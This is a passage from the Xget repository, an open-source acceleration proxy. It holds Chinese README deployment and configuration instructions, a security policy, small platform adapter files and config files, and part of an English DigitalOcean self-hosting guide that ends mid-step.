[Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)
記錄 Account ID
3. **配置 GitHub Secrets**:
- 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions
- 新增以下 secrets:
- `CLOUDFLARE_API_TOKEN`:您的 API 權杖
- `CLOUDFLARE_ACCOUNT_ID`:您的 Account ID
4. **觸發部署**:
- 推送程式碼到 `main` 分支會自動觸發部署
- 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署
- 也可以在 GitHub Actions 頁面手動觸發部署
5. **綁定自訂網域**(可選):在 Cloudflare Workers 控制台中綁定您的自訂網域
### 部署到 Cloudflare Pages
1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **獲取 Cloudflare 憑證**:
- 存取[帳戶 API 權杖](https://dash.cloudflare.com/?to=/:account/api-tokens)建立並記錄 API 權杖,使用「編輯 Cloudflare
Workers」範本
- 存取
[Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)
記錄 Account ID
3. **配置 GitHub Secrets**:
- 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions
- 新增以下 secrets:
- `CLOUDFLARE_API_TOKEN`:您的 API 權杖
- `CLOUDFLARE_ACCOUNT_ID`:您的 Account ID
4. **觸發部署**:
- 儲存庫會自動將 Workers 程式碼轉換為 Pages 相容格式並同步到 `pages` 分支
- 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程
- 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署
- 也可以在 GitHub Actions 頁面手動觸發部署
5. **綁定自訂網域**(可選):在 Cloudflare Pages 控制台中綁定您的自訂網域
**注意**:`pages` 分支是從 `main` 分支自動生成的。請勿手動編輯 `pages`
分支,因為它會被同步工作流程覆蓋。
### 部署到 EdgeOne Pages
1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **獲取 EdgeOne Pages API Token**:
- 存取[中國站 EdgeOne 控制台](https://console.cloud.tencent.com/edgeone/pages?tab=api)或[國際站 EdgeOne 控制台](https://console.tencentcloud.com/edgeone/pages?tab=api)建立並記錄 API
Token
3. **配置 GitHub Secrets**:
- 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions
- 新增以下 secret:
- `EDGEONE_API_TOKEN`:您的 API Token
4. **觸發部署**:
- 儲存庫會自動將 Workers 程式碼轉換為 Pages 相容格式並同步到 `pages` 分支
- 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程
- 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署
- 也可以在 GitHub Actions 頁面手動觸發部署
5. **綁定自訂網域**(可選):在 EdgeOne Pages 控制台中綁定您的自訂網域
**注意**:`pages` 分支是從 `main` 分支自動生成的。請勿手動編輯 `pages`
分支,因為它會被同步工作流程覆蓋。
### 部署到 Vercel
1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **獲取 Vercel 憑證**:
- 存取 [Vercel Account Settings](https://vercel.com/account/settings/tokens)
建立並記錄 Access Token
- 存取 Team Settings 記錄 Team ID
- 新建專案後存取專案的 Settings 記錄 Project ID
3. **配置 GitHub Secrets**:
- 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions
- 新增以下 secrets:
- `VERCEL_TOKEN`:您的 Access Token
- `VERCEL_ORG_ID`:您的 Team ID
- `VERCEL_PROJECT_ID`:您的 Project ID
4. **觸發部署**:
- 儲存庫會自動將 Workers 程式碼轉換為 Functions 相容格式並同步到 `functions`
分支
- 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程
- 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署
- 也可以在 GitHub Actions 頁面手動觸發部署
5. **綁定自訂網域**(可選):在 Vercel 控制台中綁定您的自訂網域
**注意**:`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions`
分支,因為它會被同步工作流程覆蓋。
### 部署到 Netlify
1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **獲取 Netlify 憑證**:
- 存取 [Netlify User Settings](https://app.netlify.com/user/applications)
建立並記錄 personal access token
- 新建專案後存取 Project configuration 記錄 Project ID
3. **配置 GitHub Secrets**:
- 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions
- 新增以下 secrets:
- `NETLIFY_AUTH_TOKEN`:您的 personal access token
- `NETLIFY_SITE_ID`:您的 Project ID
4. **觸發部署**:
- 儲存庫會自動將 Workers 程式碼轉換為 Functions 相容格式並同步到 `functions`
分支
- 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程
- 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署
- 也可以在 GitHub Actions 頁面手動觸發部署
5. **綁定自訂網域**(可選):在 Netlify 控制台中綁定您的自訂網域
**注意**:`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions`
分支,因為它會被同步工作流程覆蓋。
### 部署到 Deno Deploy
1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **切換預設分支**:
- 進入您的 GitHub 儲存庫 → Settings → General → Default branch
- 將預設分支從 `main` 切換到 `functions`
3. **部署到 Deno Deploy**:
- 參考
[Deno Deploy 官方文件](https://docs.deno.com/deploy/getting_started/)執行部署
- 在 Deno Deploy 控制台建立新專案並連接您的 GitHub 儲存庫
4. **綁定自訂網域**(可選):在 Deno Deploy 控制台中綁定您的自訂網域
**注意**:`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions`
分支,因為它會被同步工作流程覆蓋。
### 自託管部署
如果您希望在自己的伺服器上執行 Xget,可以使用 Docker 或 Podman 部署:
#### 使用預先建置鏡像
從 GitHub Container Registry 拉取並執行預先建置的鏡像:
**使用 Docker:**
```bash
# 拉取最新鏡像
docker pull ghcr.io/xixu-me/xget:latest
# 執行容器
docker run -d \
--name xget \
-p 8080:8080 \
ghcr.io/xixu-me/xget:latest
```
**使用 Podman:**
```bash
# 拉取最新鏡像
podman pull ghcr.io/xixu-me/xget:latest
# 執行容器
podman run -d \
--name xget \
-p 8080:8080 \
ghcr.io/xixu-me/xget:latest
```
#### 本地建置
從原始碼建置容器鏡像:
**使用 Docker:**
```bash
# 克隆儲存庫
git clone https://github.com/xixu-me/Xget.git
cd Xget
# 建置鏡像
docker build -t xget:local .
# 執行容器
docker run -d \
--name xget \
-p 8080:8080 \
xget:local
```
**使用 Podman:**
```bash
# 克隆儲存庫
git clone https://github.com/xixu-me/Xget.git
cd Xget
# 建置鏡像
podman build -t xget:local .
# 執行容器
podman run -d \
--name xget \
-p 8080:8080 \
xget:local
```
#### 使用 Docker Compose / Podman Compose
建立 `docker-compose.yml` 檔案:
```yaml
version: '3.8'
services:
xget:
image: ghcr.io/xixu-me/xget:latest
container_name: xget
ports:
- '8080:8080'
restart: unless-stopped
```
**使用 Docker Compose:**
```bash
docker compose up -d
```
**使用 Podman Compose:**
```bash
podman compose up -d
```
部署完成後,Xget 將在 8080 連接埠執行。
如果您希望在 DigitalOcean 上部署和執行 Xget,可以參考文件[《Deploying and Optimizing Xget on DigitalOcean》](docs/deploy-on-digitalocean.md)。透過下方推薦連結註冊帳戶,可獲得 200 美元代金券積分,可用於建立 Droplet、Kubernetes、App
Platform 等資源:
**注意**:自託管部署不包括全球邊緣網路加速,效能取決於您的伺服器配置和網路環境。
## 🔧 配置
### 配置參數
您可以透過修改 `src/config/index.js` 來自訂配置:
```javascript
export const CONFIG = {
TIMEOUT_SECONDS: 30, // 請求逾時時間(秒)
MAX_RETRIES: 3, // 最大重試次數
RETRY_DELAY_MS: 1000, // 重試延遲時間(毫秒)
CACHE_DURATION: 1800, // 快取持續時間(1800秒 = 30分鐘)
SECURITY: {
ALLOWED_METHODS: ['GET', 'HEAD'], // 常規請求的基礎允許清單;協定流量內建了更寬的允許範圍
ALLOWED_ORIGINS: ['*'], // 允許的 CORS 來源
MAX_PATH_LENGTH: 2048 // 最大路徑長度(字元)
}
};
```
### 效能調優建議
- **快取最佳化**:根據使用模式調整 `CACHE_DURATION`,頻繁更新的儲存庫可適當降低
- **逾時設定**:網路條件較差時可適當增加 `TIMEOUT_SECONDS`
- **重試策略**:高延遲環境下可增加 `MAX_RETRIES` 和 `RETRY_DELAY_MS`
### 新增新平台
要新增對新平台的支援,請更新平台目錄;如果需要特殊路徑轉換,再補上轉換器:
```javascript
// src/config/platform-catalog.js
export const PLATFORM_CATALOG = {
// 現有平台...
custom: 'https://example.com'
};
// src/routing/platform-transformers.js
const PLATFORM_PATH_TRANSFORMERS = {
custom: path => path.replace(/^\/custom\//, '/')
};
```
## 🚧 開發
1. **儲存庫設定**
```bash
git clone https://github.com/xixu-me/Xget.git
cd Xget
npm install
npx wrangler login # 首次使用
```
2. **本地開發**
```bash
npm run dev # 啟動開發伺服器 (http://localhost:8787)
npm run test:run # 執行完整測試套件
npm run test:coverage # 生成測試覆蓋率報告
npm run lint # 程式碼檢查
npm run format # 程式碼格式化
npm run deploy # 部署到生產環境
```
## 🧪 測試
儲存庫包含完整的測試套件,確保程式碼品質和功能正確性。
### 完整測試
```bash
# 安裝測試依賴項
npm install
# 執行所有測試
npm run test:run
# 生成覆蓋率報告
npm run test:coverage
# 監視模式
npm run test:watch
```
### 測試覆蓋
- **單元測試**: 核心功能、平台配置、效能監控
- **整合測試**: 端到端流程、平台整合、Git 協定
- **安全測試**: 輸入驗證、安全標頭、權限控制
- **效能測試**: 回應時間、記憶體使用、並行處理
## 🔍 故障排除
### 常見問題
**Q: 下載速度沒有明顯提升?**
A: 檢查來源檔案是否已經在 CDN 邊緣節點快取,首次存取可能較慢,後續存取會顯著提升。
**Q: Git 操作失敗?**
A: 確認使用了正確的 URL 格式,且 Git 用戶端版本支援 HTTPS 代理。
**Q: 部署後無法存取?** A: 檢查 Cloudflare Workers 網域是否正確綁定,確認
`wrangler.toml` 配置正確。
**Q: 出現 400 錯誤?** A: 檢查 URL 路徑格式,確認平台前綴正確使用。
### 效能監控
在回應標頭中返回效能指標:
- `X-Performance-Metrics`: 包含請求各階段的耗時統計
- `X-Cache-Status`: 顯示快取命中狀態
### 日誌除錯
在開發環境中,您可以透過 Cloudflare Workers 控制台檢視詳細日誌:
```bash
npx wrangler dev --log-level debug
```
## ⚠️ 免責聲明
- **合法合規使用**:本儲存庫旨在為程式碼儲存庫、軟體包註冊表、AI 推理 API、容器鏡像、模型、資料集及更多合法開發者資源提供統一加速服務。使用者應嚴格遵守所在司法管轄區法律法規及相關平台服務條款,任何非法用途的法律責任由使用者自行承擔
- **非關聯性與獨立責任**:本儲存庫與各第三方平台不存在任何隸屬、代理或合作關係。任何基於本儲存庫的 fork、二次開發、再分發或衍生版本均由其維護者獨立承擔全部責任;作者、維護者及貢獻者不對衍生儲存庫的任何行為或後果承擔法律或連帶責任
- **無擔保與免責條款**:在適用法律允許的最大範圍內,本儲存庫按「現狀(AS
IS)」提供,不提供任何明示或暗示擔保(包括但不限於適銷性、特定用途適用性、非侵權等)。對因使用本儲存庫而造成的任何直接或間接損失(包括但不限於資料遺失、業務中斷、利潤損失等),作者、維護者及貢獻者不承擔任何責任
- **風險自擔原則**:使用者應自行評估使用風險,確保其使用行為合法合規,不侵犯第三方權益,不得將本儲存庫用於任何違法、侵權、惡意或不當用途
- **第三方平台合規**:使用者應遵守相關平台的服務條款、API 使用政策、速率限制及版權要求,避免對源平台造成過載或干擾。各平台對其內容、服務及政策擁有最終解釋權
- **智慧財產權保護**:透過本儲存庫獲取的內容受相應版權法保護。使用者應遵守相關許可協議、版權聲明及使用條款,不得從事任何侵犯智慧財產權的行為
- **安全防護建議**:雖然本儲存庫採用無日誌架構,不儲存使用者請求資料,但基於網際網路傳輸的固有風險,建議使用者對下載內容進行安全掃描,尤其對可執行檔案、指令碼等保持謹慎
- **開源性質聲明**:本儲存庫為開源專案,作者與貢獻者不承擔提供技術支援、錯誤修復或持續維護的義務。外部貢獻的合併不代表對特定用途或效果的承諾與背書
- **名稱使用規範**:嚴禁任何可能暗示作者或貢獻者提供商業合作、技術支援、擔保或背書的表述。涉及儲存庫名稱或作者標識的使用應遵循相關法律法規及通用規範
- **免責聲明更新**:本免責聲明可能隨儲存庫發展或法律環境變化進行更新修訂。使用者繼續使用、複製、分發或修改本儲存庫即視為接受最新版本的免責聲明
## 🤝 貢獻
我們歡迎各種形式的貢獻!請檢視[貢獻指南](CONTRIBUTING.md)了解如何參與儲存庫開發。
1. **報告問題**: 使用
[issue 範本](https://github.com/xixu-me/Xget/issues/new/choose)報告 bug 或提出功能請求
2. **提交程式碼**: fork 儲存庫,建立功能分支,提交 pull request
3. **改進文件**: 修正錯誤、新增範例、完善說明
4. **測試反饋**: 在不同環境下測試並提供反饋
## 🌟 Star 歷史
## 📝 許可證
版權所有 © Xi Xu。
本儲存庫採用 AGPL-3.0 許可證 - 檢視 [LICENSE](LICENSE) 檔案了解詳情。
---
**如果這個儲存庫對您有幫助,請考慮給它一個 ⭐ star!**
Made with ❤️ by [Xi Xu](https://xi-xu.me)
================================================
FILE: SECURITY.md
================================================
# 安全政策
## 🔒 支持的版本
我们为以下版本提供安全更新:
| 版本 | 支持状态 |
| --- | --- |
| 最新版本 | ✅ |
| 开发版本 | ⚠️ 仅限测试 |
## 🚨 报告安全漏洞
如果您发现了安全漏洞,请**不要**通过公开的 GitHub Issues 报告。相反,请通过以下方式私下联系我们:
### 联系方式
- **邮箱**:
- **主题**: [SECURITY] Xget 安全漏洞报告
### 报告内容
请在报告中包含以下信息:
1. **漏洞描述**: 详细描述发现的安全问题
2. **影响范围**: 说明漏洞可能造成的影响
3. **重现步骤**: 提供详细的重现步骤
4. **环境信息**: 包括版本、平台、配置等
5. **建议修复**: 如果有修复建议请一并提供
### 响应时间
- **确认收到**: 24 小时内
- **初步评估**: 72 小时内
- **详细分析**: 7 天内
- **修复发布**: 根据严重程度,通常在 14-30 天内
## 🛡️ 安全特性
### 传输安全
- **强制 HTTPS**: 所有通信均通过 HTTPS 加密
- **HSTS 头**: 防止协议降级攻击
- **安全传输**: 使用现代 TLS 协议
### 请求安全
- **方法限制**: 严格的 HTTP 方法白名单
- **路径验证**: 防止路径遍历攻击
- **长度限制**: URL 长度限制防止缓冲区溢出
- **超时保护**: 30 秒请求超时防止资源耗尽
### 内容安全
- **CSP 头**: 严格的内容安全策略
- **XSS 防护**: 内置跨站脚本攻击防护
- **点击劫持防护**: X-Frame-Options 头防止嵌入
- **引用策略**: 控制 HTTP 引用信息
### 输入验证
- **参数清理**: 所有输入参数严格验证
- **编码处理**: 正确的字符编码处理
- **注入防护**: 防止各类注入攻击
## 🔍 安全最佳实践
### 部署安全
1. **环境隔离**: 生产环境与开发环境严格分离
2. **访问控制**: 最小权限原则
3. **监控日志**: 启用详细的安全日志记录
4. **定期更新**: 及时更新依赖和运行时
### 配置安全
1. **敏感信息**: 使用环境变量存储敏感配置
2. **CORS 设置**: 合理配置跨域资源共享
3. **缓存策略**: 避免缓存敏感信息
4. **错误处理**: 不暴露内部实现细节
### 使用安全
1. **域名验证**: 确保使用可信的部署域名
2. **定期检查**: 定期检查服务状态和日志
3. **版本更新**: 及时更新到最新安全版本
4. **备份恢复**: 建立完善的备份和恢复机制
## 📋 安全检查清单
### 部署前检查
- [ ] 所有依赖项已更新到最新版本
- [ ] 安全头配置正确
- [ ] 环境变量配置安全
- [ ] CORS 策略配置合理
- [ ] 日志记录已启用
### 运行时监控
- [ ] 异常请求监控
- [ ] 性能指标监控
- [ ] 错误率监控
- [ ] 资源使用监控
### 定期维护
- [ ] 依赖项安全扫描
- [ ] 代码安全审计
- [ ] 配置安全检查
- [ ] 日志分析
## 🚀 安全更新
### 更新通知
安全更新将通过以下渠道发布:
- GitHub Releases
- 存储库 README
- 安全公告邮件(如适用)
### 更新优先级
- **严重**: 立即更新
- **高**: 24 小时内更新
- **中**: 7 天内更新
- **低**: 下次常规更新
## 🤝 安全贡献
### 安全研究
我们欢迎负责任的安全研究,包括:
- 代码审计
- 渗透测试
- 漏洞发现
- 安全改进建议
### 致谢
我们将在适当的地方公开感谢报告安全问题的研究人员(除非他们要求匿名)。
## 📞 紧急联系
对于严重的安全问题,请立即联系:
- **邮箱**:
- **主题**: [URGENT SECURITY] 紧急安全问题
我们承诺在收到紧急安全报告后 12 小时内响应。
---
感谢您帮助保持 Xget 的安全性!
================================================
FILE: adapters/functions/api/index.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
import { handleRequest } from '../../../src/app/handle-request.js';
/**
* @typedef {{
* ALLOWED_METHODS?: string,
* ALLOWED_ORIGINS?: string,
* CACHE_DURATION?: string,
* MAX_PATH_LENGTH?: string,
* MAX_RETRIES?: string,
* RETRY_DELAY_MS?: string,
* TIMEOUT_SECONDS?: string
* }} RuntimeEnv
*/
/**
* @typedef {{
* env?: RuntimeEnv,
* geo?: unknown,
* ip?: string,
* waitUntil?: (promise: Promise) => void
* }} FunctionAdapterContext
*/
/**
* Edge Function handler.
* @param {Request} request - Standard Web API Request object
* @param {FunctionAdapterContext} [context] - Platform-specific context (Netlify only)
* @returns {Promise} Standard Web API Response
* @example
* // Netlify invokes with context
* handler(request, { geo: {...}, ip: '1.2.3.4', env: {...}, waitUntil: fn })
* @example
* // Vercel invokes without context
* handler(request)
*/
export default async function handler(request, context) {
const runtimeContext = context || /** @type {FunctionAdapterContext} */ ({});
// Detect runtime environment
const isNetlify = runtimeContext.geo !== undefined || runtimeContext.ip !== undefined;
// Normalize environment variables
// Netlify provides context.env, Vercel Edge uses globalThis
/** @type {RuntimeEnv} */
let envSource;
if (isNetlify) {
envSource = runtimeContext.env || {};
} else if (typeof process !== 'undefined' && process.env) {
// Vercel or Node.js environment
envSource = process.env;
} else {
// Fallback for other environments
envSource = {};
}
const env = {
TIMEOUT_SECONDS: envSource.TIMEOUT_SECONDS,
MAX_RETRIES: envSource.MAX_RETRIES,
RETRY_DELAY_MS: envSource.RETRY_DELAY_MS,
CACHE_DURATION: envSource.CACHE_DURATION,
ALLOWED_METHODS: envSource.ALLOWED_METHODS,
ALLOWED_ORIGINS: envSource.ALLOWED_ORIGINS,
MAX_PATH_LENGTH: envSource.MAX_PATH_LENGTH
};
// Create normalized execution context
const waitUntil = isNetlify && runtimeContext.waitUntil ? runtimeContext.waitUntil : null;
const ctx = {
waitUntil: waitUntil
? /**
* Forwards background work in runtimes that support waitUntil.
* @param {Promise} promise
*/
promise => waitUntil(promise)
: (
/** @type {Promise} */
_promise
) => {
void _promise;
// No-op on Vercel: background tasks not supported
// Cache writes will run synchronously instead
console.warn('waitUntil is not supported in Vercel Edge Runtime');
},
passThroughOnException: () => {
// Not supported on either platform in this context
console.warn('passThroughOnException is not universally supported');
}
};
// Delegate to the main request handler
return handleRequest(request, env, ctx);
}
// Vercel Edge Runtime configuration (ignored by Netlify)
export const config = {
runtime: 'edge'
};
================================================
FILE: adapters/functions/deno.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/* eslint-disable no-undef */
import { handleRequest } from '../../src/app/handle-request.js';
/**
* Deno Deploy handler.
*
* This is the entry point for Deno Deploy deployments. It uses the
* standard Deno.serve() API to handle incoming HTTP requests.
* @param {Request} request - Standard Web API Request object
* @returns {Promise} Standard Web API Response
* @example
* // Deno Deploy invokes automatically:
* // Deno.serve((request) => handler(request))
*/
async function handler(request) {
// Extract environment variables from Deno.env
const env = {
TIMEOUT_SECONDS: Deno.env.get('TIMEOUT_SECONDS'),
MAX_RETRIES: Deno.env.get('MAX_RETRIES'),
RETRY_DELAY_MS: Deno.env.get('RETRY_DELAY_MS'),
CACHE_DURATION: Deno.env.get('CACHE_DURATION'),
ALLOWED_METHODS: Deno.env.get('ALLOWED_METHODS'),
ALLOWED_ORIGINS: Deno.env.get('ALLOWED_ORIGINS'),
MAX_PATH_LENGTH: Deno.env.get('MAX_PATH_LENGTH')
};
// Create minimal ExecutionContext-like object
// Deno Deploy doesn't support waitUntil, so cache writes are synchronous
const ctx = {
waitUntil: (
/** @type {Promise} */
promise
) => {
void promise;
// No-op on Deno: background tasks not supported
console.warn('waitUntil is not supported in Deno Deploy');
},
passThroughOnException: () => {
console.warn('passThroughOnException is not supported in Deno Deploy');
}
};
// Delegate to the main request handler
return handleRequest(request, env, ctx);
}
// Start the server only when executing inside Deno.
if (typeof Deno !== 'undefined' && typeof Deno.serve === 'function') {
Deno.serve(handler);
}
export { handler };
================================================
FILE: adapters/functions/netlify/edge-functions/edge-handler.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*/
/**
* Netlify Edge Function entry point.
*
* This file serves as a redirect to the edge function handler
* located at /api/index.js. Both Netlify and Vercel can use the same
* handler code, with platform detection handling the differences.
*
* Netlify requires edge functions to be in netlify/edge-functions/,
* while Vercel uses /api/ directory. This approach maintains a single
* source of truth at /api/index.js.
*/
export { config, default } from '../../api/index.js';
================================================
FILE: adapters/functions/netlify.toml
================================================
[[edge_functions]]
function = "edge-handler"
path = "/*"
[build]
publish = "."
================================================
FILE: adapters/functions/package.json
================================================
{
"name": "xget",
"version": "1.0.0",
"type": "module",
"private": false,
"scripts": {
"dev": "vercel dev",
"deploy": "vercel --prod",
"vercel-build": "echo 'No build step required'"
},
"dependencies": {
"express": "^4.19.2"
},
"devDependencies": {
"@vercel/node": "^3.0.0"
}
}
================================================
FILE: adapters/functions/vercel.json
================================================
{
"$schema": "https://openapi.vercel.sh/vercel.json",
"name": "xget",
"version": 2,
"rewrites": [
{
"source": "/(.*)",
"destination": "/api/index.js"
}
],
"headers": [
{
"source": "/(.*)",
"headers": [
{
"key": "X-Powered-By",
"value": "Xget/Vercel"
}
]
}
]
}
================================================
FILE: adapters/pages/functions/[[path]].js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
import { handleRequest } from '../../../src/app/handle-request.js';
/**
* @typedef {{
* request: Request,
* env: Record,
* params: object,
* waitUntil: (promise: Promise) => void,
* next: () => Promise,
* data: object
* }} PagesFunctionContext
*/
/**
* Pages Function handler for all routes.
*
* This catch-all route handler processes all incoming requests to the Xget
* acceleration engine. It delegates request processing to the main handleRequest
* function from the Workers code, maintaining full compatibility with the
* existing implementation.
*
* The [[path]] syntax in the filename creates a catch-all route that matches
* any path, allowing this single function to handle all requests to the Pages
* application.
* @param {PagesFunctionContext} context - Pages Function context
* @returns {Promise} The HTTP response to return to the client
* @example
* // This is called automatically by Pages
* // Runtime invokes: onRequest(context)
* // Returns: Response with package data
* @example
* // Environment variables usage
* // wrangler.toml: [vars] TIMEOUT_SECONDS = "60"
* // context.env contains: { TIMEOUT_SECONDS: "60" }
* // handleRequest uses createConfig(env) to override defaults
*/
export async function onRequest(context) {
// Extract request, env, and create an execution context compatible with Workers
const { request, env, waitUntil } = context;
// Create a minimal ExecutionContext-like object for compatibility
const ctx = {
waitUntil,
passThroughOnException: () => {
// Pages doesn't support passThroughOnException, so this is a no-op
console.warn('passThroughOnException is not supported in Pages Functions');
}
};
// Delegate to the main request handler
return handleRequest(request, env, ctx);
}
================================================
FILE: adapters/pages/wrangler.toml
================================================
#:schema node_modules/wrangler/config-schema.json
name = "xget"
pages_build_output_dir = "."
compatibility_date = "2024-10-22"
compatibility_flags = ["nodejs_compat"]
================================================
FILE: codecov.yml
================================================
codecov:
require_ci_to_pass: true
strict_yaml_branch: main
coverage:
precision: 2
round: down
range: 0..100
status:
project:
default:
target: auto
threshold: 0.5%
patch:
default:
target: 85%
threshold: 2%
ignore:
- "test/**"
- "coverage/**"
- "docs/**"
- "adapters/**"
- "scripts/**"
- ".github/**"
- "*.config.js"
- "*.config.mjs"
comment:
layout: "condensed_header, condensed_files, condensed_footer"
behavior: default
require_changes: false
hide_project_coverage: false
================================================
FILE: commitlint.config.mjs
================================================
export default {
extends: ["@commitlint/config-conventional"],
};
================================================
FILE: config.capnp
================================================
using Workerd = import "/workerd/workerd.capnp";
const config :Workerd.Config = (
services = [
(name = "main", worker = .worker),
],
sockets = [
(service = "main", name = "http", address = "*:8080", http = ()),
],
);
const worker :Workerd.Worker = (
modules = [
(name = "worker", esModule = embed "dist/index.js"),
],
# Match the compatibility_date in wrangler.toml
compatibilityDate = "2024-10-22",
# Enable Node.js compatibility to match wrangler.toml
compatibilityFlags = ["nodejs_compat"],
);
================================================
FILE: docs/deploy-on-digitalocean.md
================================================
# Deploying and Optimizing Xget on DigitalOcean
Xget itself is shipped as a container image, so it fits very naturally into DigitalOcean’s ecosystem (Droplets, App Platform, Kubernetes, and Container Registry).
This guide explains how to run Xget efficiently on DigitalOcean and how to design a simple, robust acceleration layer for your team.
## 1. Which DigitalOcean product should I use for Xget?
Depending on your scale and operations model, you can pick one of these typical setups:
| Scenario | Recommended option | Characteristics |
| ------------------------------------------- | ------------------------------ | ------------------------------------------------------------------- |
| Personal / small team, simple traffic | Droplet + Docker Compose | Lowest cost, closest to the official self-hosting examples |
| Small / mid-size team, prefer fully managed | App Platform (container mode) | Automatic HTTPS, deployments, and autoscaling |
| Large team / enterprise, complex traffic | DigitalOcean Kubernetes (DOKS) | Most flexible; supports fine-grained scaling and rollout strategies |
You can also use DigitalOcean Container Registry (DOCR) for your own Xget builds or to host business images that Xget will accelerate.
## 2. Option 1: Droplet + Docker Compose (closest to "plain" self-hosting)
### 2.1 Prerequisites
1. **Create a Droplet**
* Recommended OS: Ubuntu 22.04 / 24.04 LTS.
* Size suggestions:
* Personal / small team: 1 vCPU / 1–2 GB RAM to start with.
* High concurrent downloads: prefer Premium Intel/AMD or CPU-Optimized Droplets.
* Region: pick a region close to your main users or to upstream services (e.g., GitHub, GHCR, DOCR).
2. **Configure DNS**
In DigitalOcean DNS, create a record, for example:
* `xget.example.com` → your Droplet’s public IP address.
3. **Install Docker & Docker Compose (example on Ubuntu)**
```bash
# Update system
sudo apt update && sudo apt upgrade -y
# Install dependencies
sudo apt install -y ca-certificates curl gnupg
# Docker’s official GPG key and repo
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo \
"deb [arch=$(dpkg --print-architecture) \
signed-by=/etc/apt/keyrings/docker.gpg] \
https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
# Allow current user to run docker without sudo (optional)
sudo usermod -aG docker $USER
```
Log out and back in so group changes take effect.
### 2.2 Deploy Xget using Docker Compose
Based on the self-hosting examples in the Xget README, it’s recommended to manage the container via Docker Compose.
1. **Create a directory and `docker-compose.yml`:**
```bash
mkdir -p ~/xget && cd ~/xget
```
```yaml
# docker-compose.yml
version: '3.8'
services:
xget:
image: ghcr.io/xixu-me/xget:latest
container_name: xget
# Bind only to 127.0.0.1; expose via reverse proxy
ports:
- "127.0.0.1:8080:8080"
restart: unless-stopped
```
2. **Bring up the service:**
```bash
docker compose up -d
```
Now Xget is running inside the Droplet on `127.0.0.1:8080`.
### 2.3 Expose HTTPS via nginx + Let’s Encrypt
Instead of exposing port 8080 directly, run nginx on the Droplet as a reverse proxy with HTTPS.
1. **Install nginx and Certbot:**
```bash
sudo apt install -y nginx certbot python3-certbot-nginx
```
2. **Request a certificate (example: `xget.example.com`):**
```bash
sudo certbot --nginx -d xget.example.com
```
3. **Configure reverse proxy**
Certbot will create a `server` block for you. You can adapt/add configuration like:
```nginx
server {
listen 80;
server_name xget.example.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
server_name xget.example.com;
# ssl_certificate / ssl_certificate_key and related settings
# are usually injected by Certbot automatically.
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Longer timeouts for big downloads
proxy_read_timeout 600s;
proxy_send_timeout 600s;
}
}
```
4. **Reload nginx:**
```bash
